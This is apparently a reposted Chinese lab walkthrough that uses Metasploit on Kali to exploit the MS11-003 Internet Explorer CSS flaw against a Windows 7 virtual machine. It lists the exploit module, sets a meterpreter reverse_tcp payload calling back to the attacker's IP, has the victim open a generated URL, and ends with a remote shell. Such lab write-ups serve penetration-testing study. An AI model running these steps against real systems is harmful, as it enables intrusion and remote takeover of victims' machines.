admin管理员组

文章数量:1435859

前言：

windows7IE溢出攻击

实验环境：

工具：metasploit

靶机两台：windows 7和kali2020

攻击机IP地址：10.20.29.129

被攻击机IP地址：10.20.29.134

步骤：

1、在kali里面打开metasploit漏洞利用框架

2、搜索ms11-003漏洞利用模块 

3、使用利用模块use exploit/windows/browser/ms11_003_ie_css_import

4、设置payload    set payload windows/meterpreter/reverse_tcp

5、查看options

6、配置options信息（SRVHOST、LHOST均为Kali IP、URIPATH＋任意数）

set srvhost 10.20.29.129
set lhost 10.20.29.129
set uripath 8

7、开始攻击 run/exploite，会生成一个URL，复制链接使用Windows7 IE浏览器访问

8、打开windows 7 并进行访问

9、这时kali虚拟机出现这种情况说明连接成功

10、查看session会话

11、sessions -i 1 连接windows7

选择sessions会话的时候可能会连接不成功，那么换一个sessions即可

12、获取shell，并输入ipconfig

 

 

 

 

 

本文标签： 漏洞工具MSFkail

版权声明：本文标题：kail利用msf工具对ms11-003漏洞入侵渗透Win7 内容由网友自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：http://www.betaflare.com/biancheng/1727511119a1261391.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。